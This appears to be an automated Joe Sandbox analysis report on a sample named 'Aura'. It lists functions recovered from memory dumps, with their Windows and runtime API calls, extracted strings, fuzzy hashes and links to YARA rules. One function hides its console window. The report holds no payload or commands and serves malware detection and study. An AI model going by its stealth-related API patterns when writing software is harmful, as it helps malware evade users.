Instruction ID: 8ddfabdbd47d42b1c93bf9e1ab641da2c5150ae9938c0d7cb83ab9f96b1d894d
Opcode Fuzzy Hash: 680e004b511eee906e3079cfc60d91f8bd874a58f69aba1e39e5ab1c21b77e04
Instruction Fuzzy Hash: 72B00274E441548BE614CF14DD50B74F375A747105F153454D10EB7152C631E955CA0D

Function 00424C80 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5a90507de928d43dc4e33b8172c8b4ebbfc2960a3ccf639557fe3167fb9d420
Instruction ID: 8ee52886bdf383e29db227205d642dcaefe645a769550572070308d17a5c2958
Opcode Fuzzy Hash: f5a90507de928d43dc4e33b8172c8b4ebbfc2960a3ccf639557fe3167fb9d420
Instruction Fuzzy Hash: 4FB002349891008BD604CF58D550575F3759747618F157818D547B3251D655F858C91D

Function 000CAAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,000CAACD,?,?,?,?,?,?,?,?,?,?), ref: 000CAB88
__alloca_probe_16.LIBCMT ref: 000CAC43
__alloca_probe_16.LIBCMT ref: 000CACD2
__freea.LIBCMT ref: 000CAD1D
__freea.LIBCMT ref: 000CAD23
__freea.LIBCMT ref: 000CAD59
__freea.LIBCMT ref: 000CAD5F
__freea.LIBCMT ref: 000CAD6F

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: f24bf79f2b5759095e042ea5569965e18a7b26458abdddcaf80db88d63d8c5d6
Instruction ID: ac1932932df9da96b2a4b770d9db1d049d3c4618086f4b3cc7bee8ddb1d8e0d7
Opcode Fuzzy Hash: f24bf79f2b5759095e042ea5569965e18a7b26458abdddcaf80db88d63d8c5d6
Instruction Fuzzy Hash: 4F71B172B0020E9BDF319BA48C81FEE77EA9F4B718F19055DF806A7292E7759C008752

Function 000AFE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 000AFE70
__alloca_probe_16.LIBCMT ref: 000AFE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 000AFEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000AFEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 000AFF37
__alloca_probe_16.LIBCMT ref: 000AFF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 000AFF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 000AFFB9

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 9f7ad4948132c86201e31540297ca7760bcc67212e67e5eb4ddf84e0e31b8351
Instruction ID: 81abeca533dd2c73f11c6fd92891d6deef72f7464d7c3b540154b76a0bd8a9a6
Opcode Fuzzy Hash: 9f7ad4948132c86201e31540297ca7760bcc67212e67e5eb4ddf84e0e31b8351
Instruction Fuzzy Hash: B8517D7260021BAFEB209FE0CC45FBA7BA9EF42794F25443AFD14DA191DB359C118B60

Function 000BEE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000BEEFC

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: ccea9694d1795369d250f4e9c8fe45ed3bafb0bb7afb7b68329ecfba6a856de4
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 6AB13372A00296AFDB219F68CC81BFEBBE5EF59310F148575E944AB283D6749D01C7A0

Function 000B0D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 000B0D77
___except_validate_context_record.LIBVCRUNTIME ref: 000B0D7F
_ValidateLocalCookies.LIBCMT ref: 000B0E08
__IsNonwritableInCurrentImage.LIBCMT ref: 000B0E33
_ValidateLocalCookies.LIBCMT ref: 000B0E88

Strings

csm, xrefs: 000B0E1D

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 347f928e543e06bcc1ee5a6e209db6ec99023486b1fd89f5ed04b77a21a387ff
Instruction ID: 883bde7acbd06bb24a39088a67bc793badc3ab3b63f076a584159abe579ba718
Opcode Fuzzy Hash: 347f928e543e06bcc1ee5a6e209db6ec99023486b1fd89f5ed04b77a21a387ff
Instruction Fuzzy Hash: E941C034A00218ABCF10DF68C885ADFBBB5AF44314F148965E9256B393D775EE11CB91

Function 000A3C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000A3CA5
std::_Lockit::_Lockit.LIBCPMT ref: 000A3CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 000A3CE0
__Getctype.LIBCPMT ref: 000A3D92
std::_Lockit::~_Lockit.LIBCPMT ref: 000A3DD8

Strings

e., xrefs: 000A3D67

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.
API String ID: 3087743877-3303777608
Opcode ID: df2ac2612825d851409c3278106ae4c5a7463dc43bfeb0731411c4bb53d17c14
Instruction ID: 8a5887486b16715f5800fd36eae0f3b4ab960ceb4b124db4489e17f81cabce57
Opcode Fuzzy Hash: df2ac2612825d851409c3278106ae4c5a7463dc43bfeb0731411c4bb53d17c14
Instruction Fuzzy Hash: 64415A71E012158FDB14DF94D845BAEB7B1FF55720F14811AE815AB392DB38AE01CFA1

Function 00432367 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004323A9

Strings

^, xrefs: 004323D3
c, xrefs: 004323C3
-, xrefs: 004323EB
x, xrefs: 004323F3
_, xrefs: 004323CB

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitVariant
String ID: -$^$_$c$x
API String ID: 1927566239-2011743646
Opcode ID: 5e0d3c51ad46ec2c06616873faac0f117c26524ed99fea09ff2c6b131de0c4e1
Instruction ID: e4baa1acc4d029566cdfd59e8f7d3bb8e186af098319ae9321de840ef7b9e312
Opcode Fuzzy Hash: 5e0d3c51ad46ec2c06616873faac0f117c26524ed99fea09ff2c6b131de0c4e1
Instruction Fuzzy Hash: C1415D71108B81CED7158F38C598356BFE16B66324F48869CC5E90F7EAC3759505C7A2

Function 000A24B0 Relevance: 10.6, APIs: 7, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 000A24DD
ShowWindow.USER32(00000000,00000000), ref: 000A24E6
GetCurrentThreadId.KERNEL32 ref: 000A2524

Part of subcall function 000AF11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,000A253A,?,?,00000000), ref: 000AF129
Part of subcall function 000AF11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,000A253A,?,?,00000000), ref: 000AF142
Part of subcall function 000AF11D: CloseHandle.KERNEL32(?,?,?,000A253A,?,?,00000000), ref: 000AF154

std::_Throw_Cpp_error.LIBCPMT ref: 000A2567
std::_Throw_Cpp_error.LIBCPMT ref: 000A2578
std::_Throw_Cpp_error.LIBCPMT ref: 000A2589
std::_Throw_Cpp_error.LIBCPMT ref: 000A259A

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: a33d8a4717427a51b1b274e48b07a806875c25eaee1e91d84e69ef6dd8c1c7a4
Instruction ID: 67d43a8c9f39c7f1bab155bf9b9f218932d588ba049a8978c78de756a4ffbb64
Opcode Fuzzy Hash: a33d8a4717427a51b1b274e48b07a806875c25eaee1e91d84e69ef6dd8c1c7a4
Instruction Fuzzy Hash: 912165F2D402159BDF10AFE49C06BEE7BB4BF05710F180165F90476282E7B69614CBA6

Function 000BCF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,000BD01A,000A1170,000AAA08,?,?), ref: 000BCFCC

Strings

api-ms-, xrefs: 000BCF62
ext-ms-, xrefs: 000BCF76

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5f4c69ceb84b48d86dd9b23cacf1922ade072cb0fd00ee11a1551580ed175d37
Instruction ID: a32cd1eeea96eecdbcc20bb540ac55849b2325970f2e4b4b415a6254c84b15b7
Opcode Fuzzy Hash: 5f4c69ceb84b48d86dd9b23cacf1922ade072cb0fd00ee11a1551580ed175d37
Instruction Fuzzy Hash: 2E21D831A02312ABEB319B65DC40FBE77AADB51760F250172FD55A7290D774ED00CAE0

Function 000B0080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000B0086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 000B0094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 000B00A5

Strings

kernel32.dll, xrefs: 000B0081
GetSystemTimePreciseAsFileTime, xrefs: 000B008E
GetTempPath2W, xrefs: 000B009A

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: f6d93339a8747aa75ab413928d35dfeb521794b31926c19c2e5398523ebcd991
Instruction ID: 30c14ed0a74f03f4c9ca02203c46ab45f3e3ef4f7b9c05e6100d6261306c6d7c
Opcode Fuzzy Hash: f6d93339a8747aa75ab413928d35dfeb521794b31926c19c2e5398523ebcd991
Instruction Fuzzy Hash: 62D09E755673106BB3105F74BC0999A3BB9FB097113015163FD45D6351DB7A85008675

Function 000C4F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a1bd94b5cb9e4dc44b947c62f0ae254d0f4d1b47ab91ca2fad09bda804aa455
Instruction ID: 191a637f09b986c88c6d2a1961bdf1185aa3e3c610e0e9ccb3fd5d01dcc1160c
Opcode Fuzzy Hash: 0a1bd94b5cb9e4dc44b947c62f0ae254d0f4d1b47ab91ca2fad09bda804aa455
Instruction Fuzzy Hash: B6B1F178A04A499FDB11CFA8DC81FEEBBF0BF46311F14415DE9049B292C775A981CBA0

Function 000A9B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 000A9C97
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CA8
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CBC
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CDD
std::_Throw_Cpp_error.LIBCPMT ref: 000A9CEE
std::_Throw_Cpp_error.LIBCPMT ref: 000A9D06

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 7f496bb3b37bb7aeea23fe749f6603dd3ef3368323919dadd5738ee7107feae7
Instruction ID: e2be30453613de19f6f0e1d129d7e393893d93cb1ec8d4631529b8552d84534f
Opcode Fuzzy Hash: 7f496bb3b37bb7aeea23fe749f6603dd3ef3368323919dadd5738ee7107feae7
Instruction Fuzzy Hash: DE41B1B1A00B45CBDB309BE489467EFB7F4AF47324F18062DD56A262D3D7716904CBA2

Function 000BACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000BACDE,000B0760,000AB77F,BB40E64E,?,?,?,?,000CBFCA,000000FF), ref: 000BACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000BAD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000BAD1C
SetLastError.KERNEL32(00000000,?,000BACDE,000B0760,000AB77F,BB40E64E,?,?,?,?,000CBFCA,000000FF), ref: 000BAD6E

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 261bb8bbea0ed9a6a06c1a9d73de49462f0b62a2dc5319b568c79053c9cdf7a3
Instruction ID: 022e422ad9c59d92eff771dac21e5234fefd1dee68f19250101a6fb893c365a9
Opcode Fuzzy Hash: 261bb8bbea0ed9a6a06c1a9d73de49462f0b62a2dc5319b568c79053c9cdf7a3
Instruction Fuzzy Hash: 9001F13231A615AEB7342778BC85EEA3BC4EB02B71720033FFA11415F1EF1648069151

Function 000BB56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000BB68D
CallUnexpected.LIBVCRUNTIME ref: 000BB906

Strings

csm, xrefs: 000BB6C4
csm, xrefs: 000BB618
csm, xrefs: 000BB5AB

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: ca1c4f6a6820fe1d8062990db324a0cd19751bbbbc3ab8dad0ad866104199389
Instruction ID: b5af7eb2ab4df3231db034709e01d123cf190e6d52cbff01769be434e37afeda
Opcode Fuzzy Hash: ca1c4f6a6820fe1d8062990db324a0cd19751bbbbc3ab8dad0ad866104199389
Instruction Fuzzy Hash: 5DB16671900209EFCF24DFA5C8819EEBBB9FF14310F14456AE8116B212DBB5DA61CF92

Function 000ABE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 000ABF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 000AC028

Strings

csm, xrefs: 000ABEB7
RCC, xrefs: 000ABEAB
MOC, xrefs: 000ABE9F

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: f670a74a2002e8bfb354a4506403f5c7105458644fdc57fcebf34d8ed24e3222
Instruction ID: 5bb2a6f73fcb4e8a73405aba0ceab59f56fa649bc43957b1cc9387c71836a236
Opcode Fuzzy Hash: f670a74a2002e8bfb354a4506403f5c7105458644fdc57fcebf34d8ed24e3222
Instruction Fuzzy Hash: 3D41BA74900204DFCF28DFA8C9459EEB7F5AF4A300F58806DE449AB653CB38AE04CB52

Function 000B55C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,000CBE94,000000FF,?,000B5685,000B556C,?,000B5721,00000000), ref: 000B55F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000B560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,000CBE94,000000FF,?,000B5685,000B556C,?,000B5721,00000000), ref: 000B562D

Strings

CorExitProcess, xrefs: 000B5603
mscoree.dll, xrefs: 000B55F2

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ef4003b812754d3fbd97990582050fe27a432330cbcdde01ee9304b2c4084d7d
Instruction ID: 4bb3ce20d1918b00c5662f9c64628c3b48e9da1ece0ee1dae6daba3ff6b1bef6
Opcode Fuzzy Hash: ef4003b812754d3fbd97990582050fe27a432330cbcdde01ee9304b2c4084d7d
Instruction Fuzzy Hash: BE016231A51629AFDB119F54DC09BEEB7F8FB04B16F00052AFC11A7290DB7A9900CAA0

Function 000BD6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000BD76F
__alloca_probe_16.LIBCMT ref: 000BD838
__freea.LIBCMT ref: 000BD89F

Part of subcall function 000BBF11: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,000AA67D,00000018,?,000A3D4A,00000018,00000000), ref: 000BBF43

__freea.LIBCMT ref: 000BD8B2
__freea.LIBCMT ref: 000BD8BF

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

